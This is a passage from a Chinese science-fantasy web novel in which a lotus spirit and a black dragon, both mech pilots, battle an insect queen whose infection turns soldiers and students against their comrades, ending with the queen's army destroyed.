一个人形虫身的丰满女人缓缓从虫族队伍深处走了出来,长相美艳。 而她身侧后一步站着的,是西斯。 西斯与半年前大有不同,他的额角,长出两个细细的触角。 颂千纱表情淡淡,举枪直指她,“虫母。” 阳光此刻并不热辣,但早晨的风很大,吹的耳边都是簌簌响声。 她身后乌泱泱一片虫族因她的举动而嘶吼着,有人形的,也有虫形的。 总之,都是虫族。 海浪声很重,却没有盖过虫母的声音。 “颂千纱,我等了你五万年。”虫母完全不惧,朝颂千纱走来:“你怎么才来啊?” 她的声音分外动人,但确认在场所有人都忍不住晃了晃,虫族的士气更盛。 胤允面无表情地朝虫母的面门打了一枪。 虫母嘴角勾起,眼睛黑了一瞬。 下一秒,有什么东西迅速飞了过去。 “许老师!”岩宁军校的不禁呼喊,下意识想要上前,却被肖厉寅拦住。 岩宁军校的一位老师从人群中猛地飞到了虫母面前,帮她挡枪。 肖厉寅瞥向许老师的双眼,眼睛全黑,微微抽动着。 他面色紧绷,面色微白:“他已经不是许老师了。” 除了外围的厮杀声,内圈里只余海浪拍打岸边的声音,一下重过一下。 虫母瞥了一眼肖厉寅,赞赏道:“不错嘛,很敏锐,颂千纱给你们补课了?” 颂千纱蹙了蹙眉。 其他四个军校瞥见自己被俘虏的老师也几乎都在前列,面色更加紧绷,想起昨天半夜时循的消息。 那消息莫名,只有寥寥几个他们队友的名字,却让他们在此刻汗毛倒立。 时讯绷着脸,视线转向身边四人,不动声色地侧身防备。 “再靠近,你的大军也不够挡枪。”胤允举起战戟,冷冷地瞥向虫母。 虫母恍若未闻,只是嗤笑了一声。 她慢悠悠地瞥向胤允,没说话,嘴角微微勾起:“是吗?墨龙。” 颂千纱眉头猛地一蹙,往胤允处瞥了一眼。 胤允似乎并不意外虫母知道身份。 半晌,视线又落回了颂千纱身上,歪了歪头,眼神揶揄:“很好奇吧?万年血莲。” 这话一出,颂千纱的面色彻底冷了下来:“你知道的很多。” 虫母勾唇一笑,目光灼灼地看着她。 第73章 “可惜,知道的太多,命却不长!” 胤允眼中金光闪烁,他操纵着机甲手握战戟对准虫母用力一挥,虫母眼中闪出紫光。 下一秒,来势汹汹的战戟被虫母闪去,她身后的西斯眼睛瞬间变黑,双手秒变虫足,在紫光下,西斯竟能接下胤允一招! 颂千纱眼中红光也开始大盛,点地跃向胤允,操纵着机甲对着胤允轻轻一拍,颂千纱的天赋在下一瞬传输到胤允身上。 接着,她举起枪就对着虫母脸上射击,于颂千纱的子弹往虫母的面门轰去。 虫母嘴角一勾,竟不闪不避,甚至仰起脖子,像是任凭她瞄准自己的弱点。 “我的命,可比你们两个的长!”虫母轻呵。 她左手微微一抬,手指微勾,后挑衅地冲颂千纱挑了挑眉。 颂千纱微微蹙眉,下一刹,颂千纱像是想到了什么,瞳孔一缩。 脑中嗡的一声。 颂千纱急忙大喊:“大家后撤!快!” 但根本来不及。 通讯频道大多被嘶吼声与警报声覆盖,颂千纱的声音在这之中并不突出。 周围到处都是人们的惨叫,人族与虫族的血染红了正片土地。 只有少数人听见了颂千纱的声音,他们呆愣在原地,朝四周砍去,却不知道往哪里退。 但此时。 颂千纱的离子炮已经打中了三名人形虫族。 三人连基本的护甲都没有穿,狞笑着望着颂千纱。 他们的胸膛被离子炮扫出一个大洞,血肉横飞,朝四周喷涌而去,没规则的四溅。 颂千纱面色微白,屏住呼吸望向周围的士兵。 周围的士兵们脸上还带着坚定的战意。 他们的机甲舱早已被虫族攻的破损。 几乎是下一瞬,三人的血就接触到了士兵们的机甲。 三人毫不在意自己身上的伤口,拖着重伤的身体甚至往人多处撞去,嘴角带着诡异的笑容。 周围士兵们脸上全是茫然与不忍,看着三人的惨状,紧抿着唇,带着不忍地将目光移向别处。 几人的尸体倒在了人群里,血泊流了满地。 大多数士兵都退了一步,不想与自己的同伴刀剑相向。 但下一瞬,几乎是三人死了的同一秒,六名士兵的眼睛都变得漆黑如墨。 他们的身影顿了两秒,竟同时调转了机甲,朝着自己原本的同伴砍去。 在同伴带着不可置信的眼神中,终于有人意识到了不对劲,开始警惕地往后退。 “退!这几人已经被那三人感染,是虫族了!”时循大声喝到。 她与虫族缠斗的分身乏术,只能打开喇叭对着士兵喊。 但在虫母的呓语下,时循的声音无人听见。 人们只看见那六名士兵的速度瞬间暴增,甚至超过了他们机甲反应的极限。 他们的砍法毫不留情,甚至比感染前狠厉百倍,带着不要命的冲劲儿。 几乎所有人只能如潮水一般为这六人让步,打开防御盾挡在身前,不愿上前对朝夕相处的伙伴出杀招。 时讯离得最近,他望向那六人,刚刚与他们并肩作战的同伴现在被六人凌迟。 血溅到了他的机甲舱玻璃。 他面色微白,脑中空白了一瞬。 哪怕是平时情绪淡薄如时讯,也在此刻忍不住咽了咽口水,背脊冷汗直冒。 时讯一手抵御虫族袭击,眼睛却紧盯着那六人,眼中是挡不住的惊诧。 传染的居然可以这么快,并且刚刚被传染,就可以熟练地操纵机甲。 虫族显然是提前训练,深入探索过人类机甲的用法。 还没反应过来,那名士兵像是认出了时讯一般,嘴里发出一声属于虫族的嘶吼。 下一刹,六人锁定了目标,同时朝时讯跑去! 时讯周身的虫族把时讯逼至六人面前。 六只机甲几乎是同步落地,就像是六个人是同一个大脑控制的一般! 时讯瞳孔用力一缩,眼中惊诧更盛,迅速往后退。 这显然速度被低星机甲限制着,却也已经超过了2S机甲单兵! 他来不及判断,下意识迅速退回帝辉学院的位置。 但还没来得及松一口气,他汗毛就莫名倒立起来。 他转身瞥去,身后的洛熙与机甲忽然变成虫足,朝他全力劈去! 克林迪斯昨天被他当作没看见的讯息居然是真的。 他脸色灰白,愣在原地,不可置信地望着洛熙与,张嘴呼唤:“熙与!” 身前的六名士兵正朝他砍来,洛熙与在身后操纵着机甲朝他劈去。 千钧一发之际。 时讯却没有动。 五所军校的人心都提到了嗓子眼。 他们都意识到,林上校上台发表的言论与克林迪斯昨晚说的话,都是真的。 而这一刻,帝辉学院最强的学生已经被同伴包围,他身边的三名队友却没有帮忙。 甚至,眼睛也是全黑的。 虫族,全是虫族。 风带着血腥味不断呼啸着穿过整个战场,与厮杀声连成一片,一个又一个战士正在被虫族吃进嘴里,还有许多与他们一样的人类,却长着虫子的眼睛与手足,刀剑挥向自己的同类。 这样的危机,他们从未遇到过。 人类没有丝毫准备。 刀剑的寒光离时讯只有一寸的距离,时循瞳孔紧缩,她紧抿着唇朝那边赶去。 “胤允!” 颂千纱眼中红光大盛,二人身影交错,一退一进。 她直接放弃与虫母作战,手中的枪切成长剑,切换身位挥剑朝西斯砍去。 胤允后撤闪身退出主战场朝场后疾驰。 他如一把出鞘的利剑,金光一闪,便瞬移至时讯身前。胤允眼中金光大盛,长臂持剑一甩,将六人一剑封喉。 六人动作停滞的一瞬间,五大军校主力几乎为时讯松了口气。 胤允没有看时讯,转身越过他朝身后瞥了一眼,后迅速离开,朝颂千纱跑去。 时讯愣愣地望着胤允的背影,他下手干脆利落,简单直接,甚至看不清具体动作,只见起势与落地的刀锋朝向。 半晌,他回过神,瞥向六名士兵。 他们喷洒的血液正好喷在机甲舱内,血液缓缓从机甲舱流出,溢在地上。 血迹滴答了一地,却半点没有溅出去。 身边的风更加剧烈的呼啸,可时讯依旧怔怔地盯着机甲舱。 “时讯!你准备站在这里等死?”时循的声音从身后传来。 时循的声音在此刻叫醒了时讯,他转头望向时循。 时循没有看他。 他一脚把洛熙与踹向战场中央,与蓝一序合力将洛熙与打倒在地。 “姐。” 他瞬间泪眼滂沱,转过脸去,低声喊了时循一声。 但听筒没有打开,包含着依赖和委屈的声音只在他的机甲舱里回荡。 这半大的少年在时循走了后便被指定成为时家下一任继承人,每天努力的学着时循以前的样子生活。 时讯抿着唇,擦干眼泪,他的眼神与时循更像,更坚定了。 下一秒,他提起剑,目光扫向身侧的三人,用力闭了闭眼。 手中动作不停,他握紧剑切换成枪。 他吐了口气,睁眼举枪对准帝辉学院三名队友,可半晌,他又放下了。 三人的脸与洛熙与一般,与他朝夕相处,分外熟悉。 时讯甚至看出其中一人正歪着头,习惯用着的左手作为主操手。 就在昨天,对面三人还一脸担忧地跑到自己的卧室聊天。 就在昨天。 时讯手握紧操作杆,紧到手微微颤抖。 时讯紧绷着脸盯着三人的眼睛。 他们的眼睛,都是全黑的。 虫族,不是队友。 时讯眼神一厉,坚定地把手臂举过肩膀瞄准他们,指节用力扣下扳机。 “砰!” 时讯的枪声终于再次响起,这次瞄准的是队友。 “队长!你干嘛!” 其中一人被时讯用子弹穿过机甲中枢,哪怕被鎏金重塑过,机甲中枢依旧裂开了大半。 时讯没有留手。 他下手极狠,招招往中枢上打。 “队长!你咋了!你打队友干嘛!也被虫族控制了吗?!” “时讯?!你被虫族控制了?!” “……” 三人不断在频道中大吼造谣。 “你们才是虫族!入侵了我队友的身体!罪不可恕!” 时讯冷着脸,眼中怒意更盛,将三人打连连逃窜。 可三人看似毫无还手之力,不断大盛嚎叫着,却开着机甲往人多的地方跑去。 眼见就要去到人群最多的地方,时讯眉头蹙的更紧,瞥向周围,抿唇呼喊到:“齐焦!黄蕊!来帮忙!” 话毕,时讯动作不停,他双手蓄力射击,用冲击炮堵住他们的去路。 齐焦听见了呼喊,一刀把面前的皇虫头颅砍下。 她转身一跃,粗喘着气,迅速闪身过去帮助时讯拦人。 可三人如泥鳅一般滑腻,让齐焦心中烦躁更盛,她眼中闪过一丝狠厉。 她操纵的机甲亮起一丝红光,下一秒,她速度暴增,立刻追上了那三人,一脚过去把其中一人用鎏金加固过的机甲头踩瘪,用刀拦住另一人。 那踩瘪头颅的机甲里传来一声痛呼。 黄蕊在此刻赶到。 她以剑插地,把三人往虫族多的地方踢。 时讯动作一刻不停,与二人配合着,开完枪后就追了上去。 他的手彻底不再颤抖,眼中闪过一丝狠意。 时讯不知道这样是否有效,也来不及判断。 他用力咬着牙,有样学样,学着胤允的刚才一剑封喉的气势与落点,用全力朝三人砍去。 虽力道没有胤允那么准,却也让三人受了重伤,血液也没有溢出。 他们彻底不再伪装,双手变异成虫足抵挡伤害,面露凶光看着自己曾经的队长时讯。 时讯眼神晶亮,确实有用。 “我们得先把名单上的人都解决了!” 他接着在军校频道中喊道。 与此同时,刚刚听见军校频道时讯声音的肖厉寅面色微白。 他目睹了帝辉学院的一幕。 肖厉寅的手不受控制地颤抖,望向自己身边的四名队友,眼神中带着最后一丝希冀与恐惧。 他甚至愿意用自己的二十年寿命交换,希望克林迪斯昨天给的名单都是假的。 肖厉寅站在一块碎石上朝身后望去。 随着从外涌入的士兵越多,虫族的自杀式打法就越受益。 人族尽现颓势。 “铮——”他来不及彷徨,一声刀锋的冷光刺痛了肖厉寅的眼睛,耳边传来一声他最熟悉的队友武器的铮鸣声。 肖厉寅缓缓回头,蓝一序吃力地替他挡住身后的攻击。 他望向队友已经全黑的双眼,身体僵在原地,脸色煞白。 “肖厉寅,再发呆就死了!” 肖厉寅转过头去,强行用颤抖着的双手作战起来。 可望着面前四名双眼全黑的队友,他眼眶通红,泪水模糊了双眼。 他下不去手,只能被自己昔日的队友打的节节败退,机甲受损。 肖厉寅的机甲舱发出警告:机甲磨损度60%!警报! 下一刻,岩宁军校原本的四名队友力度暴涨。 “砰!” 四人一招就把挡在肖厉寅身前的蓝一序被击倒在地。 周之旭转头,迅速跃了过来。 他的机甲红光微闪,他扬剑一挥,将四个岩宁军校的人形虫族的机甲中枢彻底破坏。 四人杨帆在地,他立刻上前,一剑插进机甲舱。 他抽出剑时,血从剑尖低落在地上,他面无表情,又立刻插进第二个机甲舱,直至四个人都死了。 周之旭转头望向肖厉寅,脸上是前所未有的冷:“这里是战场,对敌人留情就会败,死更多人。” 肖厉寅脸色瞬间苍白,他茫然地望向周围的血泊,早已分不清哪个是敌人的,哪个是战友的。 血色染红了肖厉寅的整个视线,他缓了两秒才找回自己的声音。 肖厉寅的声音干涩又沙哑,声音却带着哽咽:“我知道,我,我马上调整!” 他紧抿着唇,擦了把眼泪拿起武器。 战场中央已经尸山血海。 人族与虫族对战时四溅的鲜血早已把他们的机甲染红。 颂千纱与西斯打了几个回合难分胜负。 她粗喘着气,再次凝聚天赋。 下一刻,枪炮中的红光大盛,直直朝西斯再次轰去,还是打中要害。 胤允在此时闪身回来。 二人与刚刚如出一辙。 他们擦身而过,只是这次胤允往前冲,颂千纱往后退。 颂千纱站定喘了口气,胤允急速朝着虫母疾驰。 他一刻不停,挥起战戟朝着虫母劈下。 虫母的速度比不过胤允,被他成功打断了天赋施展,停止吟唱。 不少虫族的动作停滞了一瞬。 人族在这一刻松了一口气。 西斯见此,立刻闪身至虫母身旁,双手成刃紧盯着胤允。 胤允也闪身后退至颂千纱身边,面无表情地盯着虫母。 四人在战场对峙着,与周围的厮杀声格格不入。 血腥味充满鼻腔,但他们早就闻不到了,只余风怒喝着吹向他们的机甲,带走众人的哀嚎。 “还好吗?”胤允把颂千纱护在身后,金眸盯着虫母。 颂千纱摇了摇头:“我没事。” 西斯此刻的目光从胤允转向颂千纱,眉心的虫族标记闪动,眼中带着势在必得的光。 风忽然小了些,让阵阵哀嚎灌入耳朵。 胤允蹙了蹙眉,眼中金光乍现。 下一秒,他身体微微前倾,望着虫母身上莫名的紫光,眼神微眯:“你的天赋与气息,感觉有些熟悉啊。” “是吗?”颂千纱闻言,眼中闪过一丝疑惑,她也嗅了一口,歪了歪头问胤允:“你觉得哪里熟悉?” “有些像——”胤允话音未落,就被虫母打断。 虫母原本松弛的脊背瞬间绷紧,后又故作轻松地瞥了胤允一眼:“熟悉?别天方夜谭了。” 她意味深长地望着二人,眼中紫光流动:“你们怎么可能熟悉我这个几十万年后的物种?” “你怎么知道,这里是几十万年后?” 颂千纱眉头蹙的更深,她紧盯着虫母身上的紫光不放,眼中怀疑更盛。 虫母面色一肃,嘴角平直,没在说话,只是目光幽幽地望向颂千纱,眼中似乎还带着颂千纱看不懂的深意。 胤允将战戟再次举起,面色彻底变得冰冷:“你的身体里有纱纱的味道,告诉我为什么?” 他语气笃定,脚步一刻不停地朝虫母砍去,脸上全是杀意。 “有我的气息?”颂千纱眉头紧促。 “嗯,本源气息,她吞噬化为己用了许多。”胤允回她。 颂千纱脑中的困惑更深,脑中的思绪如同一团乱麻,不知从哪里开始理。 虫母怎么会有她的本源气息? 本源气息只有获得她本体的花瓣才会有。 虫母的面色彻底绷紧,不再如同刚才一般放肆又惬意,蹙眉低声吩咐西斯:“护好我,我要将天赋浓度提高到最高,迅速攻城!” 西斯在身后尊敬地低下头朝她行李:“好的,母亲。” 下一秒,虫母眼中紫光大盛,她彻底不再掩饰天赋,全力吟唱。 她周身荡出一阵紫色光晕,西斯眉心的虫族标记紫光更盛。 西斯的犬齿也愈发的长了,双手化为虫足,虫足看起来比一开始坚韧百倍,闪着铮铮寒光。 虫族士气更盛,纷纷咆哮着冲入人群,几乎每一只虫族的战力都再次上了一个台阶,皇虫头顶甚至隐隐出现紫色标记。 他们如同一只不要命,又整齐划一的部队,朝人族冲去。 最前面是人形虫族,他们丝毫不在意别人打到他们,反而更加欣喜。 颂千纱紧绷着脸转头望向周围。 几乎在吟唱的哪一刻,大半人族都彻底失去了战斗力,捂着耳朵七窍流血。 颂千纱微微侧目,就连时循这样的3S+机甲单兵都脸色微白。 颂千纱眉头蹙的更紧,伸手结阵,瞥向身旁的胤允,喝道:“胤允,拦住她!” 阵法在一寸寸地成形,颂千纱的天赋注入的更多。 很快,阵法瞬间扩大蔓延至整个战场,颂千纱的面色白了一瞬。 阵法范围内,速度与力量提高一倍。 胤允被西斯死死拦住,他与颂千纱对视一眼,都彻底不再掩饰自己的天赋。 下一瞬,胤允大喝一声,眼中金光大盛。 西斯眼神呆滞了半秒,再睁眼时颂千纱的一发冲击炮已经蓄力好了,正朝西斯打来。 一刹那,冲击炮正中西斯眉心。 颂千纱抬手轻轻擦了擦汗,轻喘了一口气。 虫母面色不惧,她冷着脸将身上的紫光从周身朝西斯倾倒。 下一刻,西斯的眉心的伤口竟然开始愈合。 虫母的身体缩小了一瞬。 她面色彻底冷了下来,音调忽然升高,呓语带着精神冲击,让人族许多人再次倒下。 这呓语像是从脑子里响起,让人想要捂住耳朵,却也无处可防。 这呓语不像是这世界上的任何一种语言,反倒更像某种古代说话的方式。 颂千纱眉头蹙的更紧。 很快,有人口鼻出血,颤抖着死死捂住耳朵,血依旧不断从指缝一点点渗出来。 就像一个彷徨的人被命运一步步推着人类做选择。 要么,把内奸找出来,杀干净,要么死。 时循白着脸,握着刀,一步步朝洛尔学院走去。 另一处,几台机甲失去控制,踉跄着撞进人群,砸到了不少人。 通讯频道里,只余哀嚎和断断续续的杂音。 风似乎只停歇了一会儿,这次又再次卷土重来,带着尘沙和血腥味,这次刮的人更疼。 颂千纱绷着脸,打开共感,想要吹风。 可额间红莲盛放,她立马再次结印,这次,阵法从虫母脚下升起。 是单独克制虫母的阵法。 颂千纱感觉自己的太阳穴一下又一下地跳着,一股古怪的困意围绕着她,她的脸色愈发苍白甩了甩头保持清醒。 虫母几乎下一瞬就意识到不对,立刻退后想要出逃,却被胤允拦住退路,一步步用战戟逼至满腔。 虫母的面色愈发慌乱,她不管不顾,让西斯再次冲锋,自己扭着虫身逃跑,想要绕开阵法。 胤允瞥向西斯,将还没好全的他踹倒在地,后挥刀冲着西斯的双腿砍下,让他动弹不得。 “啊——”西斯的惨叫贯彻整个战场,让人族人心振奋。 胤允歪了歪头,很快,又再次闪身拦住虫母。 虫母带着紫光爆喝出一声嘶吼。 所有的虫族再此刻都变得暴躁,冲战场中央涌去。 红金相间的阵法在不断涌动,金光乍现,愈发闭合。 这阵法颂千纱研究了许久,施展几乎耗尽了她的天赋。 阵法收拢的同时,人群正在疯狂后退着。 但人族早已退无可退了。 所有虫族身上紫光大盛,虫母回头瞥了一眼胤允,后头也不回地要冲出阵法。 西斯带领着所有虫族在此刻都冲进阵法,咆哮着冲胤允扑去。 虫母面色微白,她临危不惧,朝着战场虚空一抓。 下一秒紫光从中间晕开,在与人族战斗的虫族忽然炸开不少。 虫族的势力再次扩张,原本在前线勇猛的战士现在成为了敌人。 “黄蕊!” 蓝一序大吼着想要抓住她。 但来不及了,早已重伤的她义无反顾冲上前挡住自爆的人形虫族。 很快,黄蕊也双眼全黑。 “队长!” “姐!” 一旁洛尔学院的双胞胎脑中一片空白,望着黄蕊的背影。 “快……杀我!” 黄蕊没有被立刻控制,她是3S机甲单兵,哪怕已是强弩之末,完全吞噬她也并不容易。 “戚萧何!” 黄蕊努力地控制着不要拿起刀剑,但身体的控制权已经逐渐被抢夺。 下一瞬,一把剑直直地插进她的机甲舱,精准的将刀插进她的眼睛。 黄蕊死了。 周之旭望着戚萧何的背影,一时间说不出话来。 他昨天才从蓝一序那里知道,黄蕊与戚萧何相恋了七年。 周围是同伴的残骸,横飞的血肉,倒下的机甲,都被染上一层血色,战争残酷的不像话。 就连最后一点点能站立的空隙,此刻也被黄蕊倒地的尸体填满。 周之旭想要后退一步,却一不小心踩到了苏茗喁的尸体。 是洛尔军校的机甲师,他们昨天才认识。 被虫族控制的同伴,却一脚一脚地踩在他们的尸体上,将自己昔日的同伴贯穿。 防御阵不断亮起,破裂,往复循环。 人群碰撞,后退,又散开。 谁也不想要成为那个挥刀向自己同伴的人。 但总是勇士先死。 很快,人已经不剩多少了。 人们成了案板上任人宰割的鱼肉,不敢再挥刀,只是本能的后退。 在死之前,都不约而同地望向天空,像是那里,才是人类最后的净土。 西斯带着虫子朝胤允扑去,在西斯眉心的虫子标记完全亮起紫光时,这群虫子竟能与胤允战的势均力敌。 胤允眉头越蹙越紧,战戟往周身成圈劈下,最近的虫族很快就成了血雾,可他们源源不断的补上,没有一个畏死。 西斯的手刃在胤允看向别人时,成功划破了他的机甲舱。 侧手翻身,再次冲那道被划出的缝隙攻去。 胤允眉眼一蹙,双手翻转想要挡住,却被周身再次涌上来的虫族拖慢了一秒。 西斯的虫刃划破胤允的胸膛,血喷洒而出。 下一秒,西斯的双手化成的刀刃被胤允徒手掰断。 西斯闷哼一声后退,但此刻,周身的虫族已咬住了胤允的机甲。 虫母动作一刻不停,她接着腾空而起,起手结印,不到半晌,几乎所有被感染的人都再次爆体,她的面色却愈发红润,甚至额头两侧,隐隐冒出尖角。 颂千纱与胤允眼神微眯,眼中都闪过一丝古怪。 战场上被虫族感染的人越来越多,颂千纱转头望向不远处的战场,人族已经寥寥无几。 时循、齐焦,周之旭正举着阵法做的遁甲,帮自己身后的人挡住自爆。 五大军校的人只剩寥寥几个。 “西斯,杀了胤允。”此刻虫母的角已逐渐长了出来。 “是,母亲。” 西斯狞笑着用手刃劈向胤允,身上紫光再次乍现,他身上的伤痕再次消失,双手化为的虫族也无比坚韧,与战戟对上,竟能发出阵阵铮鸣。 胤允瞥向虫母,神色愈发古怪。 颂千纱大口喘息着,半晌,她竟然主动下了机甲,一步步朝虫母走去,面色冰冷。 “颂千纱,别冲动!”时循大吼,“回机甲!” “纱纱!”周之旭与齐焦也焦急地喊道。 颂千纱没有回应他们,径直往胤允处奔去。 她的速度很快,脚下还踩着机甲残骸,有人下意识朝她伸手求救,她没有停。 此刻,被虫族包围的胤允看出了颂千纱的想法,嘴角一勾,眼中金光绽放,眉心的龙纹瞬间大亮。 “胤允!你也跟着胡闹——”时循的声音更加气恼。 但她话音未落,就听见一声龙吟,她瞪大了眼睛。 所有人在这一刻都噤声了。 一只通体黑色镶金的龙打碎了机甲舱,从胤允的机甲冲了出来,对着颂千纱冲去。 颂千纱一跃而起,眉心的莲花栩栩如生,踩在了威风凛凛的墨龙身上。 她身上红光覆盖在了墨龙身上,不到片刻,墨龙身上的伤痕消失,比虫族更快。 她如同神女降世。 飓风呼啸,她站在龙头上睥睨众生,风只能吹动她的衣角,此刻颂千纱神情淡漠,眼中去按时了然。 “你的真正天赋,原来是吞噬啊。”颂千纱垂眸俯视虫母:“我终于知道,你之前不停的偷胤允血液是为什么了。” “你不仅想要杀了他,还想要吞噬我。” 虫族的治愈天赋是虫母吞噬的她的花瓣偶然得来的,躯体坚硬,是胤允的精血堆出来的,颂千纱眼中滑过一丝怒意。 颂千纱望向天空,风吹过她的面庞,她眼中滑过一丝了然,阳光刺得她眯眼。 她与天空遥遥相望,像是在与谁对视。 半晌。颂千纱嗤笑一声:“一只虫子,妄想越过世界法则!” 虫母的角一点一点长大,她可战场上并没有多少人了。 显而易见,之前虫化的每个人,打斗场,洛家,军区医院,时家,等等,全面崩盘。 虫母轻呵一声,瞥向颂千纱:“那又如何?天道无力,只能用最后的力量把你们两个送来!” “是吗?”颂千纱面无表情地望着她。 “纱纱。”胤允眼中滑过一丝了然,他嘲讽地望向虫母,眼神轻蔑:“我知道这是谁了。” “是谁?” 颂千纱回头将人族的地方画出阵法。 阵法内,所有人的伤势都在加速愈合,时循的眼神愈发急迫,望着颂千纱摇头。 颂千纱冲时循笑了笑,转头不再看她。 “是我们四百岁时,啃了你一口后被我踩碎的那只虫子。”他蹙眉望向虫母,眼中闪过一丝疑惑:“我记得,你已经碎成渣了,还粘鞋底。” 虫母的脸瞬间变黑,她望向二人:“你们天生地养,我亦日日修炼,没有我比不过你们的道理!” “世间灵兽,无人能比过我们。”颂千纱神色淡淡。 胤允蹙眉望着虫母渐渐长出来的小角:“你成不了神。” 紫光在地面闪烁,几乎覆盖了整个地面,天光上一条黑金巨龙头顶踩着一个少女,金红色染红了半片天空。 “我没说我要成神。” 虫母勾唇一笑。 身上的紫光更加耀眼,龙角长得更快了。 颂千纱顿了片刻,眼神一厉:“胤允!她想成魔!” 胤允一声龙吟震碎了场下虫族,血脉压迫使许多力量稍弱的虫族都两股战战,站不起来。 龙目紧盯着虫母,颂千纱浑身亮起红光,锁定虫母。 第74章 一人一龙同时冲了过去,想要打断她的施法,但已经来不及了。 龙角已成,魔气滋生。 颂千纱与胤允同时被她一招击退,颂千纱被打落,从空中坠下。 西斯带着一众虫族站在虫母身前,所有虫族周身冒出魔气。 从远处看,只能依稀望见他们周身的冒着黑光。 胤允全然不顾自己口中的铁锈味,太阳穴不断跳动,他再次化为人形,将颂千纱稳稳托在怀里,用力到微微颤抖,像是要把她嵌进身体。 “小花。”胤允声音嘶哑,焦急地望向颂千纱。 “我没事。”颂千纱天赋耗尽,她望着胤允的眼睛,靠在胤允怀里勾唇:“你的记忆全恢复了。” 他们太了解彼此,以至于他周身气质的悄然变化,她都随时能感受到。 “嗯。”胤允眼中的偏执更盛,望向虫母的眼中全是戾气。 虫母畅快地吸了一口气,眼中的功成的快意毫不掩饰,她仰着头,望向周身的虫族,手中紫光一挥。 虫族们发出快意的嘶吼。 “我已是这个世界的最强者,颂千纱。”虫母勾唇望着望着面前的一人一龙,眼中的紫光愈发靓丽,“为何不加入我的阵营?只要你为虫族所用,我愿与你平起平坐。” 虫母的目光中包含着毫无保留的欣赏与艳羡,“你这样的天资,几十万年来也仅你一人。” 微风吹起,不少人担忧地望着远处的三人,听不清他们的对话,却依旧震撼于胤允刚刚变身化龙。 他们不敢走出阵法覆盖的地方,但伤势已完全好了,众人望着周围的尸山血海,目光呆滞,有人哭喊责怪有这种恢复的阵法为什么不早点拿出来。 时循冷着脸,瞥向那人。 齐焦没说话,走过去重重甩了那人一巴掌:“你以为,这个是不需要代价的吗?” 周之旭没说话,他的目光依旧望着远处的两人,眼神担忧,剑却已经搭在那人的脖颈处。 他遥望着他们,任由海风卷过血腥味灌进五官,不断咳嗽着,但周之旭怎么也不愿意闭眼。 温热的尸体逐渐凉了下来,血液也在变得粘稠,战场很安静,安静的只剩海风呼啸。 颂千纱对自己的稀缺性早有预料,眼中滑过一丝莫名的光芒,她蹙了蹙眉,随即想到了什么。 颂千纱垂眸,眼神微眯,“所以,当年我们本该死了?” “是,死在你彻底成熟那天。”虫母俯视她。 颂千纱朝天空望去,太阳如往日一样耀眼,万里无云。 她凝视了半晌,不知道想到了什么,眼中最后一点犹豫也彻底散了。 她忽然轻笑了一声,敛眸做下了什么决定。 颂千纱强撑着站了起来,表情无畏:“你可知道,天道为什么把我和他送来?” 虫母不急不徐,一步步朝她走来,“因为我的天赋来自于吞噬你的能力。” “不只是这样。”颂千纱望着虫母,嘴角一勾。 颂千纱转头望向搂住自己的胤允,眼神缱绻:“小龙。” 胤允绷着脸捏紧了手中的武器,他闻声微微垂眸,忽然后颈传来一股不容抗拒的力量,唇上感受到一阵柔软。 他瞪大双眼,一股铁锈味从嘴里传来。 一开始,只是微微发烫,像是被火星微微燎到。 但下一瞬,那温度骤然炸开,热意顺着舌根一路灼烧,直冲经脉。 胤允瞳孔缩成针尖,他骤然收紧手臂,喉咙滚动,面色紧迫地盯着她:“纱纱!” 他呼吸微窒,握住颂千纱肩膀的大掌力道不断变大,他指节收紧,一股磅礴的灵力从胤允舌尖蕴出,干涸已久的经脉骤然被粗暴灌入,直捣丹田。 胤允几乎本能地想要推开她,可下一刻,手指却僵在颂千纱肩上,力道一点一点地松了下去。 他知道这意味着什么。 耗尽血脉中的灵气。 即死亡。 “纱纱……”他又叫了颂千纱一声,声音颤抖,与刚刚的急迫不同,这一声很轻,像是在不舍,又像是叹息。 颂千纱望向胤允,眉眼弯弯:“胤允,我们永远在一起。” 胤允望着颂千纱姣好的面庞,微微怔了一瞬,他牵起她的双手。 后垂眸凝视着她的面庞。勾唇一笑,将她唇间的鲜血抹匀。 红唇鲜艳如血,衬得她气色都好了不少。 “好。”胤允轻声回答,他收紧了双手。 下一瞬,他用力咬向舌尖,吻向颂千纱脖颈处的龙纹。 胤允的面色也白了一瞬,龙纹发烫,颂千纱周身映出七彩光晕。 她睁大眼睛望向胤允:“龙珠的灵力?!” “嗯。”胤允的身形微微晃了晃,几乎要跌倒。 胤允缓了一瞬,周身聚起灵力,先一步冲着虫母全力攻去。 颂千纱恍惚了一瞬,她此刻才意识到,龙珠在她的体内,护了她许久。 她眼眶变得模糊,泪水占满了视线。 难怪他之前会虚弱至此。 她颤抖这深吸了一口气,擦干眼泪聚起灵力。 虫母面色大变,分明是灵气枯竭的时代,她拼尽全力也只能复苏一点点魔气,这分明已经能使她在此处无敌了。 可面前二人周身磅礴的灵气却让她大惊。 “你们体内有灵气?!”虫母不可置信地躲闪着胤允的攻势虫母的瞳孔再次变黑,她面部狰狞地大吼:“杀了他们!” 紫光照耀在每个虫族身上,让他们变得更加狂躁,整个虫族都发出阵阵奇怪的嗡鸣。 颂千纱丝毫不惧,她的面色几乎白到透明,她腾空而起,咬破指尖,以血结印施法:“吾乃万年血莲,聚天地之灵气,今身负天命诛杀魔虫,必不死不休!” 结印完成,颂千纱双手猛地张开,一道巨大的血色法阵映在大地,阵法不断汲取着虫族身上的魔气,束缚他们的动作。 血色法阵的金红光芒愈发耀眼,虫族的动作越来越慢。 “都从阵法里出去!”虫母挥手后撤,可哪怕是全速前进,移速也依旧缓慢,她不得已施展魔力加速,可紫光在血色阵法下暗淡许多。 胤允以手成爪,瞬移至虫母身边,对着她的面门直直冲去! 虫母一边逃窜,一边以魔气抵挡胤允的攻势,但胤允的攻势实在太猛,几次堪堪擦破她的脖颈,魔气又消耗的太快,她很快就抵挡不住。 胤允再次驱动体内灵气,往虫母的腹部拍去。 虫母眼中紫光一闪,与最边缘的西斯互换了位置。 胤允的手穿过了西斯的腹部,血液四溅。西斯立刻闪身,但血阵的消耗过大,根本躲闪不及。胤允面无表情地睥睨西斯,立刻挥刀把西斯的头部斩下。 西斯死了,胤允转头时,虫母已出了血阵,向颂千纱冲去,想要打断施法。 颂千纱不闪不避白着脸,伸手再次加压,阵内所有虫族顷刻化灰。 胤允的速度更快,迅速闪身至半空,一脚将虫母踹落在地上。 颂千纱站在半空中晃了晃,闪身至胤允身边。 尘土飞扬,虫母滚了好几圈才停下,这半人半虫的丰硕女人身形狼狈,她的虫族大军已亡,只剩她一个人。 